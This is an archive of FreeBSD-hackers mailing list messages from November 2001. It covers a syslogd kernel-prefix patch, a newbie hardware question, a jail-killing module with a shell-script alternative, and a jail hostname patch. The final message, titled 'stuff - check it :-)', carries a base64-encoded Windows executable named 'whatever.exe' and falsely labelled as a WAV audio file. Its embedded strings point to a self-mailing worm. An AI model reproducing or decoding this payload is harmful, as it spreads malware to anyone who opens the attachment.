From owner-freebsd-hackers Sun Nov 25 1:44: 6 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailout03.sul.t-online.de (mailout03.sul.t-online.com [194.25.134.81]) by hub.freebsd.org (Postfix) with ESMTP id AA1DE37B405 for ; Sun, 25 Nov 2001 01:44:01 -0800 (PST) Received: from fwd02.sul.t-online.de by mailout03.sul.t-online.de with smtp id 167vpH-0004pb-04; Sun, 25 Nov 2001 10:43:51 +0100 Received: from peedub.muc.de (520017439985-0001@[217.235.114.77]) by fmrl02.sul.t-online.com with esmtp id 167vp2-0Q0lqCC; Sun, 25 Nov 2001 10:43:36 +0100 Received: by peedub.muc.de (8.11.6/8.11.1) id fAP9hKS00951; Sun, 25 Nov 2001 10:43:20 +0100 (CET) (envelope-from garyj) Message-Id: <200111250943.fAP9hKS00951@peedub.muc.de> Content-Type: text/plain; charset="iso-8859-1" From: Gary Jennejohn Reply-To: garyj@jennejohn.org To: Dima Dorfman , Peter Wemm Subject: Re: Reducing syslogd output bloat (was: cvs commit: src/sys/conf Makefile.i386) Date: Sun, 25 Nov 2001 10:28:02 +0100 X-Mailer: KMail [version 1.3.1] Cc: Bruce Evans , hackers@freebsd.org References: <20011125004921.93AD54020@bazooka.trit.org> In-Reply-To: <20011125004921.93AD54020@bazooka.trit.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Sender: 520017439985-0001@t-dialin.net Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sunday 25 November 2001 01:49, Dima Dorfman wrote: > Peter Wemm wrote: > > Bruce Evans wrote: > > > - syslogd: the name of the kernel file is used as a > > > prefix. If I kept kernels in the standard place, then I > > > would have complained about the bloatage of syslogd output > > > caused by renaming the kernel from /kernel to > > > /boot/${NAME_OF_MY_KERNEL}/kernel > > > > It used to print "kernel" always, even when the kernel was > > /vmunix and on other systems when it is /bsd or /netbsd. > > I'd much rather that we went back. > > > > When syslogd starts up, it could log the value of > > kern.bootfile and kern.module_path once in the kernel log > > and just use "kernel:" for identifying kernel originated > > messages. > > The attached patch implements something like this: > > Make the default kernel prefix "kernel:" instead of the boot > file, with the old behavior available via the -o option (it > might still be useful if one has many kernels and cares which > messages came from which). If the boot file is not used as > the prefix, it is still logged once at startup. > > This change is prompted by the fact that the boot file is now > much longer ("/boot/kernel/kernel" vs. "/kernel"), which > significanlty bloats the syslogd output. > > Please review and comment. > [snip patch] I think this is a good idea. Go for it. -- Gary Jennejohn garyj@jennejohn.org gj@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 3:28:40 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from straylight.ringlet.net (discworld.nanolink.com [217.75.135.248]) by hub.freebsd.org (Postfix) with SMTP id 704AB37B417 for ; Sun, 25 Nov 2001 03:28:28 -0800 (PST) Received: (qmail 1377 invoked by uid 1000); 25 Nov 2001 11:27:49 -0000 Date: Sun, 25 Nov 2001 13:27:49 +0200 From: Peter Pentchev To: Dima Dorfman Cc: Peter Wemm , Bruce Evans , hackers@freebsd.org Subject: Re: Reducing syslogd output bloat (was: cvs commit: src/sys/conf Makefile.i386) Message-ID: <20011125132748.A522@straylight.oblivion.bg> Mail-Followup-To: Dima Dorfman , Peter Wemm , Bruce Evans , hackers@freebsd.org References: <20011021183958.24ABB3803@overcee.netplex.com.au> <20011125004921.93AD54020@bazooka.trit.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011125004921.93AD54020@bazooka.trit.org>; from dima@trit.org on Sun, Nov 25, 2001 at 12:49:16AM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 25, 2001 at 12:49:16AM +0000, Dima Dorfman wrote: > The attached patch implements something like this: > > Make the default kernel prefix "kernel:" instead of the boot file, > with the old behavior available via the -o option (it might still be > useful if one has many kernels and cares which messages came from > which). If the boot file is not used as the prefix, it is still > logged once at startup. > > This change is prompted by the fact that the boot file is now much > longer ("/boot/kernel/kernel" vs. "/kernel"), which significanlty > bloats the syslogd output. > > Please review and comment. Nice work; just a couple of comments.. > @@ -181,6 +181,12 @@ > messages; the default is 20 minutes. > .It Fl n > Disable dns query for every request. > +.It Fl o > +Prefix kernel messages with the full kernel boot file as determined by > +.Xr getbootfile 3 . > +Without this, > +the kernel message prefix is always Do these two really need to be on separate lines? > Index: syslogd.c > =================================================================== > RCS file: /ref/cvsf/src/usr.sbin/syslogd/syslogd.c,v > retrieving revision 1.92 > diff -u -r1.92 syslogd.c > --- syslogd.c 2001/11/14 09:20:24 1.92 > +++ syslogd.c 2001/11/25 00:42:26 > @@ -273,6 +273,7 @@ > int family = PF_INET; /* protocol family (IPv4 only) */ > #endif > int send_to_all = 0; /* send message to all IPv4/IPv6 addresses */ > +int use_bootfile = 0; /* log entire bootfile for every kern msg */ I think 'boot filename' would be more appropriate at least in the comment. > @@ -1525,6 +1531,16 @@ > oldLocalHostName, LocalHostName); > logmsg(LOG_SYSLOG|LOG_INFO, hostMsg, LocalHostName, ADDDATE); > dprintf("%s\n", hostMsg); > + } > + /* > + * Log the kernel boot file if we aren't going to use it as > + * the prefix, and if this is *not* a restart. > + */ > + if (signo == 0 && !use_bootfile) { > + (void)snprintf(bootfileMsg, sizeof(bootfileMsg), > + "syslogd: kernel boot file is %s", bootfile); Maybe something like 'boot(ed) kernel file name'? Other than those minor issues, I like this patch a lot. G'luck, Peter -- If I had finished this sentence, To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 8: 7:52 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mta5.srv.hcvlny.cv.net (mta5.srv.hcvlny.cv.net [167.206.5.31]) by hub.freebsd.org (Postfix) with ESMTP id 2AA7B37B405 for ; Sun, 25 Nov 2001 08:07:49 -0800 (PST) Received: from office (ool-182f5bd5.dyn.optonline.net [24.47.91.213]) by mta2.srv.hcvlny.cv.net (iPlanet Messaging Server 5.0 Patch 2 (built Dec 14 2000)) with SMTP id <0GND005AH650HN@mta2.srv.hcvlny.cv.net> for hackers@freebsd.org; Sun, 25 Nov 2001 11:07:48 -0500 (EST) Date: Sun, 25 Nov 2001 11:07:58 -0500 From: we'uns Subject: size To: hackers@freebsd.org Message-id: <001a01c175cb$59ccf620$6401a8c0@office> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200 X-Mailer: Microsoft Outlook Express 5.00.2615.200 Content-type: multipart/alternative; boundary="Boundary_(ID_TkOoiZJBvPaa1TKCLWtIzg)" X-Priority: 3 X-MSMail-priority: Normal Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --Boundary_(ID_TkOoiZJBvPaa1TKCLWtIzg) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Greetings. I got this email address out of the FreeBSD Newsletter, issue#1. I'm not sure if you're the right guys to address such a query to so if this seems out of place I apologize, but perhaps you can direct it to the right folks. I've got an old P1 135 (I think, may be 125, can't remember), 1.7G HD, 32M RAM...in short, a dinosaur. I want to experiment with FreeBSD and would like to do so on a machine that is non-critical so I have time to learn it without being under the gun. I was reading in the newsletter that Dave Filo was using BSD on an old (probably wasn't old back in '97, haha!) P100, 32M RAM machine and that the release number for BSD then was 2.2 STABLE (what is "stable", or was that an aside by the author?). I've seen FreeBSD releases in the somewhat recent past at 3.4 I believe, and it has me wondering: will an older machine like mine will be large enough to handle the newer releases? Thanks much for taking time out to consider this email. 'Hope you guys had a great Thanksgiving and will have a great holiday season. Regards, Paul Adams --Boundary_(ID_TkOoiZJBvPaa1TKCLWtIzg) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Greetings. I got this email address out of the FreeBSD Newsletter, issue#1. I'm not sure if you're the right guys to address such a query to so if this seems out of place I apologize, but perhaps you can direct it to the right folks.
 
I've got an old P1 135 (I think, may be 125, can't remember), 1.7G HD, 32M RAM...in short, a dinosaur. I want to experiment with FreeBSD and would like to do so on a machine that is non-critical so I have time to learn it without being under the gun. I was reading in the newsletter that Dave Filo was using BSD on an old (probably wasn't old back in '97, haha!) P100, 32M RAM machine and that the release number for BSD then was 2.2 STABLE (what is "stable", or was that an aside by the author?). I've seen FreeBSD releases in the somewhat recent past at 3.4 I believe, and it has me wondering: will an older machine like mine will be large enough to handle the newer releases?
 
Thanks much for taking time out to consider this email. 'Hope you guys had a great Thanksgiving and will have a great holiday season.
 
Regards,
 
Paul Adams
--Boundary_(ID_TkOoiZJBvPaa1TKCLWtIzg)-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 9: 0: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cs.bu.edu (CS.BU.EDU [128.197.10.2]) by hub.freebsd.org (Postfix) with ESMTP id CF7E237B419; Sun, 25 Nov 2001 09:00:02 -0800 (PST) Received: from csa.bu.edu (evms@csa [128.197.12.3]) by cs.bu.edu (8.10.1/8.10.1) with ESMTP id fAPGxuF22059; Sun, 25 Nov 2001 11:59:56 -0500 (EST) Received: (from evms@localhost) by csa.bu.edu (8.10.1/8.10.1) id fAPGxpi13194; Sun, 25 Nov 2001 11:59:51 -0500 (EST) Date: Sun, 25 Nov 2001 11:59:51 -0500 (EST) Message-Id: <200111251659.fAPGxpi13194@csa.bu.edu> From: Evan Sarmiento To: freebsd-stable@freebsd.org, freebsd-hackers@freebsd.org Subject: jail patch Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I wrote this a while ago, but, if anyone is interested, please take a look: this module implements a system call that takes a u_int_32t. This system call, named killjail, kills all processes which belong to the jail which uses that particular IP address. I included it in a tar with a makefile and with a program that uses it. (Eg: ./killjail 1.2.3.4) http://www.sekt7.org/kjs.tar Works on 4.4 but can be easily ported to 5.0. - Evan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 9: 6:19 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id D576F37B41B; Sun, 25 Nov 2001 09:06:14 -0800 (PST) Received: from horsey.gshapiro.net (gshapiro@localhost [IPv6:::1]) by horsey.gshapiro.net (8.12.2.Beta1/8.12.2.Beta1) with ESMTP id fAPH6Cgv063820 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 25 Nov 2001 09:06:12 -0800 (PST) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.12.2.Beta1/8.12.2.Beta1/Submit) id fAPH6CDW063817; Sun, 25 Nov 2001 09:06:12 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15361.9475.891401.44730@horsey.gshapiro.net> Date: Sun, 25 Nov 2001 09:06:11 -0800 From: Gregory Neil Shapiro To: Evan Sarmiento Cc: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: jail patch In-Reply-To: <200111251659.fAPGxpi13194@csa.bu.edu> References: <200111251659.fAPGxpi13194@csa.bu.edu> X-Mailer: VM 6.96 under 21.5 (beta3) "asparagus" XEmacs Lucid Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG evms> I wrote this a while ago, but, if anyone is interested, please evms> take a look: this module implements a system call that takes evms> a u_int_32t. This system call, named killjail, kills all processes evms> which belong to the jail which uses that particular IP address. evms> I included it in a tar with a makefile and with a program evms> that uses it. (Eg: ./killjail 1.2.3.4) evms> http://www.sekt7.org/kjs.tar evms> Works on 4.4 but can be easily ported to 5.0. This can be done in userland without kernel interaction: #!/bin/sh EX_OK=0 EX_USAGE=64 if [ "$1" = "" ] then echo "Usage: $0 jailname" exit ${EX_USAGE} fi pids=`grep -l " $1\$" /proc/*/status | awk -F/ '{print $3}'` if [ "$pids" != "" ] then kill -15 $pids 2> /dev/null fi exit ${EX_OK} To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 9: 7:26 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mta4.srv.hcvlny.cv.net (mta4.srv.hcvlny.cv.net [167.206.5.10]) by hub.freebsd.org (Postfix) with ESMTP id 0BAFB37B41D for ; Sun, 25 Nov 2001 09:07:24 -0800 (PST) Received: from office (ool-182f5bd5.dyn.optonline.net [24.47.91.213]) by mta4.srv.hcvlny.cv.net (iPlanet Messaging Server 5.0 Patch 2 (built Dec 14 2000)) with SMTP id <0GND00FB48W9CA@mta4.srv.hcvlny.cv.net> for hackers@freebsd.org; Sun, 25 Nov 2001 12:07:21 -0500 (EST) Date: Sun, 25 Nov 2001 12:07:33 -0500 From: we'uns Subject: To: hackers@freebsd.org Message-id: <001601c175d3$ac5538a0$6401a8c0@office> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200 X-Mailer: Microsoft Outlook Express 5.00.2615.200 Content-type: multipart/alternative; boundary="Boundary_(ID_Bk/r91+kyy0s51OIxyRn6w)" X-Priority: 3 X-MSMail-priority: Normal Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --Boundary_(ID_Bk/r91+kyy0s51OIxyRn6w) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Wow, that was fast! Thanks for the rapid response. I'll direct future questions to the appropriate address. Thanks again. --Boundary_(ID_Bk/r91+kyy0s51OIxyRn6w) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Wow, that was fast! Thanks for the rapid response. I'll direct future questions to the appropriate address. Thanks again.
 
 
--Boundary_(ID_Bk/r91+kyy0s51OIxyRn6w)-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 9:27:34 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from holly.dyndns.org (adsl-208-191-149-232.dsl.hstntx.swbell.net [208.191.149.232]) by hub.freebsd.org (Postfix) with ESMTP id 1D9C237B419 for ; Sun, 25 Nov 2001 09:27:31 -0800 (PST) Received: (from chris@localhost) by holly.dyndns.org (8.11.6/8.9.3) id fAPHRmn02576; Sun, 25 Nov 2001 11:27:48 -0600 (CST) (envelope-from chris) Date: Sun, 25 Nov 2001 11:27:48 -0600 From: Chris Costello To: Igor M Podlesny Cc: freebsd-hackers@FreeBSD.ORG, Dima Dorfman Subject: Re: jail.c.patch (allowing to use hostnames when invoking jail(8)) Message-ID: <20011125112748.B511@holly.calldei.com> Reply-To: chris@FreeBSD.ORG References: <95121839796.20011124224006@morning.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <95121839796.20011124224006@morning.ru>; from poige@morning.ru on Sat, Nov 24, 2001 at 10:40:06PM +0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Saturday, November 24, 2001, Igor M Podlesny wrote: > i = inet_aton(argv[3], &in); > - if (!i) > - errx(1, "Couldn't make sense of ip-number\n"); > + if (!i) { > + /* check if it is resolveable */ > + struct hostent *hp; > + hp = gethostbyname(argv[3]); > + if (hp == NULL) { > + errx(1, "Couldn't make sense of the jail address\n"); > + } > + else { > + char **p = hp->h_addr_list; > + if (p[1] != NULL) { > + errx(1, "Jail should have only one ip-address associated with!\n"); > + } > + else { > + memcpy(&in.s_addr, p[0], sizeof(in.s_addr)); > + } > + } > + } I'd rewrite the above (`i = inet_aton' all the way down) as hp = gethostbyname(argv[3]); if (hp == NULL) { errx(1, "%s: %s", argv[3], hstrerror(h_errno)); } in = *(struct in_addr *)hp->h_addr_list[0]; This makes the call to inet_aton() unnecessary (and really shortens the code!). -- +-------------------+------------------------------------------+ | Chris Costello | It is easier to change the specification | | chris@FreeBSD.org | to fit the program than vice versa. | +-------------------+------------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 13:44: 2 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from aaz.links.ru (aaz.links.ru [193.125.152.37]) by hub.freebsd.org (Postfix) with ESMTP id 14A6A37B405; Sun, 25 Nov 2001 13:43:49 -0800 (PST) Received: (from babolo@localhost) by aaz.links.ru (8.9.3/8.9.3) id AAA28384; Mon, 26 Nov 2001 00:50:19 +0300 (MSK) Message-Id: <200111252150.AAA28384@aaz.links.ru> Subject: Re: jail patch In-Reply-To: <15361.9475.891401.44730@horsey.gshapiro.net> from "Gregory Neil Shapiro" at "Nov 25, 1 09:06:11 am" To: gshapiro@FreeBSD.ORG (Gregory Neil Shapiro) Date: Mon, 26 Nov 2001 00:50:19 +0300 (MSK) Cc: evms@cs.bu.edu, freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG From: "."@babolo.ru MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Gregory Neil Shapiro writes: > evms> I wrote this a while ago, but, if anyone is interested, please > evms> take a look: this module implements a system call that takes > evms> a u_int_32t. This system call, named killjail, kills all processes > evms> which belong to the jail which uses that particular IP address. > > evms> I included it in a tar with a makefile and with a program > evms> that uses it. (Eg: ./killjail 1.2.3.4) > > evms> http://www.sekt7.org/kjs.tar > > evms> Works on 4.4 but can be easily ported to 5.0. > > This can be done in userland without kernel interaction: > > #!/bin/sh > > EX_OK=0 > EX_USAGE=64 > > if [ "$1" = "" ] > then > echo "Usage: $0 jailname" > exit ${EX_USAGE} > fi > > pids=`grep -l " $1\$" /proc/*/status | awk -F/ '{print $3}'` > if [ "$pids" != "" ] > then > kill -15 $pids 2> /dev/null > fi > exit ${EX_OK} This programm selects process by jail host name instead of by jail itself. For example I have about 40 jails with the same host name and IP address (they occupy different ports). -- @BABOLO http://links.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Nov 25 16:46:38 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.viasoft.com.cn (unknown [61.153.1.177]) by hub.freebsd.org (Postfix) with ESMTP id 2680D37B41C for ; Sun, 25 Nov 2001 16:45:52 -0800 (PST) Received: from localhost (davidwnt.viasoft.com.cn [192.168.1.239]) by mail.viasoft.com.cn (8.9.3/8.9.3) with SMTP id IAA02702 for freebsd-hackers@FreeBSD.ORG; Mon, 26 Nov 2001 08:52:57 +0800 From: davidx@viasoft.com.cn Message-Id: <200111260052.IAA02702@mail.viasoft.com.cn> To: freebsd-hackers@FreeBSD.ORG Subject: stuff - check it :-) Date: Mon,26 Nov 2001 08:41:40 -0000 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="bound" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --bound Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable peace --bound Content-Type: audio/x-wav; name="whatever.exe" Content-Transfer-Encoding: base64 Content-ID: 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 